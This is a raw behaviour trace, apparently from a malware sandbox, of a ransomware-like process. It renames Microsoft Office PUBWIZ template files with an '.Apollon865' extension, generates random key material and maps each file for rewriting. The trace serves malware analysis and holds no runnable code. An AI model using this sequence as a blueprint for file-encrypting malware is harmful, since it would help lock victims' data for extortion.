	[0067.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.305] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=81276) returned 1
	[0067.305] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.306] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.306] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.306] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14080, lpName=0x0) returned 0x100
	[0067.307] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14080) returned 0x120000
	[0067.312] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.313] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.313] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.315] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FLYER11.POC" | out: lpString1="FLYER11.POC") returned="FLYER11.POC"
	[0067.315] lstrlenW (lpString="FLYER11.POC") returned 11
	[0067.315] lstrlenW (lpString="Apollon865") returned 10
	[0067.315] lstrcmpiW (lpString1="LYER11.POC", lpString2="Apollon865") returned 1
	[0067.315] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FLYER98.POC" | out: lpString1="FLYER98.POC") returned="FLYER98.POC"
	[0067.315] lstrlenW (lpString="FLYER98.POC") returned 11
	[0067.315] lstrlenW (lpString="Apollon865") returned 10
	[0067.315] lstrcmpiW (lpString1="LYER98.POC", lpString2="Apollon865") returned 1
	[0067.315] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FLYERHM.POC" | out: lpString1="FLYERHM.POC") returned="FLYERHM.POC"
	[0067.315] lstrlenW (lpString="FLYERHM.POC") returned 11
	[0067.315] lstrlenW (lpString="Apollon865") returned 10
	[0067.315] lstrcmpiW (lpString1="LYERHM.POC", lpString2="Apollon865") returned 1
	[0067.315] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FOLDPROJ.DPV" | out: lpString1="FOLDPROJ.DPV") returned="FOLDPROJ.DPV"
	[0067.315] lstrlenW (lpString="FOLDPROJ.DPV") returned 12
	[0067.315] lstrlenW (lpString="Apollon865") returned 10
	[0067.315] lstrcmpiW (lpString1="LDPROJ.DPV", lpString2="Apollon865") returned 1
	[0067.315] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FOLDPROJ.XML" | out: lpString1="FOLDPROJ.XML") returned="FOLDPROJ.XML"
	[0067.315] lstrlenW (lpString="FOLDPROJ.XML") returned 12
	[0067.315] lstrlenW (lpString="Apollon865") returned 10
	[0067.315] lstrcmpiW (lpString1="LDPROJ.XML", lpString2="Apollon865") returned 1
	[0067.315] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML.Apollon865") returned 73
	[0067.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.317] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1580) returned 1
	[0067.317] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.318] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.318] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.318] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x930, lpName=0x0) returned 0x100
	[0067.320] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x930) returned 0x100000
	[0067.321] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.321] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.322] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.322] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FORM98.POC" | out: lpString1="FORM98.POC") returned="FORM98.POC"
	[0067.322] lstrlenW (lpString="FORM98.POC") returned 10
	[0067.322] lstrlenW (lpString="Apollon865") returned 10
	[0067.322] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FORMCTL.POC" | out: lpString1="FORMCTL.POC") returned="FORMCTL.POC"
	[0067.322] lstrlenW (lpString="FORMCTL.POC") returned 11
	[0067.322] lstrlenW (lpString="Apollon865") returned 10
	[0067.322] lstrcmpiW (lpString1="ORMCTL.POC", lpString2="Apollon865") returned 1
	[0067.323] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FS3BOX.POC" | out: lpString1="FS3BOX.POC") returned="FS3BOX.POC"
	[0067.323] lstrlenW (lpString="FS3BOX.POC") returned 10
	[0067.323] lstrlenW (lpString="Apollon865") returned 10
	[0067.323] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="GIFT.DPV" | out: lpString1="GIFT.DPV") returned="GIFT.DPV"
	[0067.323] lstrlenW (lpString="GIFT.DPV") returned 8
	[0067.323] lstrlenW (lpString="Apollon865") returned 10
	[0067.323] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="GIFT.XML" | out: lpString1="GIFT.XML") returned="GIFT.XML"
	[0067.323] lstrlenW (lpString="GIFT.XML") returned 8
	[0067.323] lstrlenW (lpString="Apollon865") returned 10
	[0067.323] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML.Apollon865") returned 69
	[0067.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.325] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5320) returned 1
	[0067.325] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.326] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.326] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.326] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17d0, lpName=0x0) returned 0x100
	[0067.327] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17d0) returned 0x100000
	[0067.328] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.329] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.329] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.329] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="GIFT98.POC" | out: lpString1="GIFT98.POC") returned="GIFT98.POC"
	[0067.329] lstrlenW (lpString="GIFT98.POC") returned 10
	[0067.329] lstrlenW (lpString="Apollon865") returned 10
	[0067.329] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="GREET11.POC" | out: lpString1="GREET11.POC") returned="GREET11.POC"
	[0067.329] lstrlenW (lpString="GREET11.POC") returned 11
	[0067.329] lstrlenW (lpString="Apollon865") returned 10
	[0067.329] lstrcmpiW (lpString1="REET11.POC", lpString2="Apollon865") returned 1
	[0067.330] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="GREETING.DPV" | out: lpString1="GREETING.DPV") returned="GREETING.DPV"
	[0067.330] lstrlenW (lpString="GREETING.DPV") returned 12
	[0067.330] lstrlenW (lpString="Apollon865") returned 10
	[0067.330] lstrcmpiW (lpString1="EETING.DPV", lpString2="Apollon865") returned 1
	[0067.330] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="GREETING.XML" | out: lpString1="GREETING.XML") returned="GREETING.XML"
	[0067.330] lstrlenW (lpString="GREETING.XML") returned 12
	[0067.330] lstrlenW (lpString="Apollon865") returned 10
	[0067.330] lstrcmpiW (lpString1="EETING.XML", lpString2="Apollon865") returned 1
	[0067.330] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML.Apollon865") returned 73
	[0067.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.332] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=64268) returned 1
	[0067.332] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.333] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.333] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.333] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfe10, lpName=0x0) returned 0x100
	[0067.335] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfe10) returned 0x100000
	[0067.338] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.339] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.339] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.340] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="HEADINGBB.DPV" | out: lpString1="HEADINGBB.DPV") returned="HEADINGBB.DPV"
	[0067.340] lstrlenW (lpString="HEADINGBB.DPV") returned 13
	[0067.340] lstrlenW (lpString="Apollon865") returned 10
	[0067.340] lstrcmpiW (lpString1="DINGBB.DPV", lpString2="Apollon865") returned 1
	[0067.340] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="HEADINGBB.POC" | out: lpString1="HEADINGBB.POC") returned="HEADINGBB.POC"
	[0067.340] lstrlenW (lpString="HEADINGBB.POC") returned 13
	[0067.340] lstrlenW (lpString="Apollon865") returned 10
	[0067.340] lstrcmpiW (lpString1="DINGBB.POC", lpString2="Apollon865") returned 1
	[0067.340] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="INVITE.DPV" | out: lpString1="INVITE.DPV") returned="INVITE.DPV"
	[0067.340] lstrlenW (lpString="INVITE.DPV") returned 10
	[0067.341] lstrlenW (lpString="Apollon865") returned 10
	[0067.341] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="INVITE.XML" | out: lpString1="INVITE.XML") returned="INVITE.XML"
	[0067.341] lstrlenW (lpString="INVITE.XML") returned 10
	[0067.341] lstrlenW (lpString="Apollon865") returned 10
	[0067.341] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML.Apollon865") returned 71
	[0067.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\INVITE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\invite.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.342] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=18886) returned 1
	[0067.343] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.343] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.343] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.343] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4cd0, lpName=0x0) returned 0x100
	[0067.345] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4cd0) returned 0x100000
	[0067.346] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.347] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.347] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.348] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="INVITE11.POC" | out: lpString1="INVITE11.POC") returned="INVITE11.POC"
	[0067.348] lstrlenW (lpString="INVITE11.POC") returned 12
	[0067.348] lstrlenW (lpString="Apollon865") returned 10
	[0067.348] lstrcmpiW (lpString1="VITE11.POC", lpString2="Apollon865") returned 1
	[0067.348] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LABEL.DPV" | out: lpString1="LABEL.DPV") returned="LABEL.DPV"
	[0067.348] lstrlenW (lpString="LABEL.DPV") returned 9
	[0067.348] lstrlenW (lpString="Apollon865") returned 10
	[0067.348] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LABEL.XML" | out: lpString1="LABEL.XML") returned="LABEL.XML"
	[0067.348] lstrlenW (lpString="LABEL.XML") returned 9
	[0067.348] lstrlenW (lpString="Apollon865") returned 10
	[0067.348] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML.Apollon865") returned 70
	[0067.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LABEL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\label.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.351] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=18630) returned 1
	[0067.351] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.351] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.352] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.352] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4bd0, lpName=0x0) returned 0x100
	[0067.353] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4bd0) returned 0x100000
	[0067.355] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.355] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.355] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.356] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LABEL98.POC" | out: lpString1="LABEL98.POC") returned="LABEL98.POC"
	[0067.356] lstrlenW (lpString="LABEL98.POC") returned 11
	[0067.356] lstrlenW (lpString="Apollon865") returned 10
	[0067.356] lstrcmpiW (lpString1="ABEL98.POC", lpString2="Apollon865") returned -1
	[0067.356] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LABELHM.POC" | out: lpString1="LABELHM.POC") returned="LABELHM.POC"
	[0067.356] lstrlenW (lpString="LABELHM.POC") returned 11
	[0067.356] lstrlenW (lpString="Apollon865") returned 10
	[0067.356] lstrcmpiW (lpString1="ABELHM.POC", lpString2="Apollon865") returned -1
	[0067.356] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LETTHEAD.DPV" | out: lpString1="LETTHEAD.DPV") returned="LETTHEAD.DPV"
	[0067.356] lstrlenW (lpString="LETTHEAD.DPV") returned 12
	[0067.356] lstrlenW (lpString="Apollon865") returned 10
	[0067.357] lstrcmpiW (lpString1="TTHEAD.DPV", lpString2="Apollon865") returned 1
	[0067.357] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LETTHEAD.XML" | out: lpString1="LETTHEAD.XML") returned="LETTHEAD.XML"
	[0067.357] lstrlenW (lpString="LETTHEAD.XML") returned 12
	[0067.357] lstrlenW (lpString="Apollon865") returned 10
	[0067.357] lstrcmpiW (lpString1="TTHEAD.XML", lpString2="Apollon865") returned 1
	[0067.357] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML.Apollon865") returned 73
	[0067.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\LETTHEAD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\letthead.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.358] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=12446) returned 1
	[0067.359] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.359] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.359] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.359] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33a0, lpName=0x0) returned 0x100
	[0067.361] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33a0) returned 0x100000
	[0067.362] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.363] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.363] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.363] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LINEACT.POC" | out: lpString1="LINEACT.POC") returned="LINEACT.POC"
	[0067.363] lstrlenW (lpString="LINEACT.POC") returned 11
	[0067.363] lstrlenW (lpString="Apollon865") returned 10
	[0067.363] lstrcmpiW (lpString1="INEACT.POC", lpString2="Apollon865") returned 1
	[0067.364] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LOGO98.POC" | out: lpString1="LOGO98.POC") returned="LOGO98.POC"
	[0067.364] lstrlenW (lpString="LOGO98.POC") returned 10
	[0067.364] lstrlenW (lpString="Apollon865") returned 10
	[0067.364] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LTHD11.POC" | out: lpString1="LTHD11.POC") returned="LTHD11.POC"
	[0067.364] lstrlenW (lpString="LTHD11.POC") returned 10
	[0067.364] lstrlenW (lpString="Apollon865") returned 10
	[0067.364] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LTHD98.POC" | out: lpString1="LTHD98.POC") returned="LTHD98.POC"
	[0067.364] lstrlenW (lpString="LTHD98.POC") returned 10
	[0067.364] lstrlenW (lpString="Apollon865") returned 10
	[0067.364] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LTHD98SP.POC" | out: lpString1="LTHD98SP.POC") returned="LTHD98SP.POC"
	[0067.364] lstrlenW (lpString="LTHD98SP.POC") returned 12
	[0067.364] lstrlenW (lpString="Apollon865") returned 10
	[0067.364] lstrcmpiW (lpString1="HD98SP.POC", lpString2="Apollon865") returned 1
	[0067.364] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="LTHDHM.POC" | out: lpString1="LTHDHM.POC") returned="LTHDHM.POC"
	[0067.364] lstrlenW (lpString="LTHDHM.POC") returned 10
	[0067.364] lstrlenW (lpString="Apollon865") returned 10
	[0067.364] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="MAIN.XML" | out: lpString1="MAIN.XML") returned="MAIN.XML"
	[0067.364] lstrlenW (lpString="MAIN.XML") returned 8
	[0067.364] lstrlenW (lpString="Apollon865") returned 10
	[0067.364] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML.Apollon865") returned 69
	[0067.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MAIN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\main.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.367] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9876) returned 1
	[0067.367] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.368] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.368] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.368] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29a0, lpName=0x0) returned 0x100
	[0067.369] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29a0) returned 0x100000
	[0067.370] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.371] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
